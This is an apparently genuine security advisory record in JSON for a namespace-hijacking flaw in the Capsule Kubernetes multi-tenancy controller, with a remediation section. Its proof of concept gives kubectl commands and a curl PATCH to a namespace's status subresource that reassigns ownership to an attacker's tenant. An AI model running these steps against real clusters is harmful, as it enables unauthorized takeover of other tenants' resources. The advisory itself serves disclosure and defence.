{"id":"GHSA-2ww6-hf35-mfjm","summary":"Capsule Namespace Hijacking via subresource","details":"### Summary\nTo defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.\n\n### Details\nWhen Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.\n\n### PoC\nOpen two terminals and create two tenants:\n```\nkubectl create -f - \u003c\u003c EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: oil\nspec:\n  owners:\n  - name: alice\n    kind: User\nEOF\n\n./hack/create-user.sh alice solar\nexport KUBECONFIG=alice-solar.kubeconfig\nkubectl create namespace solar-production # alice creates the namespace\n```\n\n```\nkubectl create -f - \u003c\u003c EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: attacker\nspec:\n  owners:\n  - name: attacker\n    kind: User\nEOF\n\n./hack/create-user.sh attacker attacker\nexport KUBECONFIG=attacker-attacker.kubeconfig\n```\n\nWhen the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:\n```\nkubectl create clusterrole status --verb=patch --resource=namespaces/status\nkubectl create clusterrolebinding status --clusterrole=status --user=attacker\n```\nThe attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:\n```\ncurl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \\\n--header 'Content-Type: application/json-patch+json' \\\n--data '[\n    {\n      \"op\": \"replace\",\n      \"path\": \"/metadata/ownerReferences\",\n      \"value\": [\n        {\n          \"apiVersion\": \"capsule.clastix.io/v1beta2\",\n            \"kind\": \"Tenant\",\n            \"name\": \"attacker\",\n            \"uid\": \"1fcb9c9b-b552-4974-a248-32be66a2188c\"\n        }\n      ]\n    }\n  ]'\n```\n\n### Impact\nhijack namespace\n\n### Remediation\nTo mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:\n```\n    resources:\n    - namespaces\n    - namespaces/status\n\t- namespace/finalize\n```","aliases":["CVE-2026-30963","GO-2026-5043"],"modified":"2026-06-17T00:26:18.768162831Z","published":"2026-05-28T17:01:41Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-05-28T17:01:41Z","nvd_published_at":"2026-06-01T19:16:22Z","cwe_ids":["CWE-20"],"severity":"LOW"},"references":[{"type":"WEB","url":"https://github.com/projectcapsule/capsule/security/advisories/GHSA-2ww6-hf35-mfjm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30963"},{"type":"PACKAGE","url":"https://github.com/projectcapsule/capsule"},{"type":"WEB","url":"https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"}],"affected":[{"package":{"name":"github.com/projectcapsule/capsule","ecosystem":"Go","purl":"pkg:golang/github.com/projectcapsule/capsule"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.13.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-2ww6-hf35-mfjm/GHSA-2ww6-hf35-mfjm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L"}]}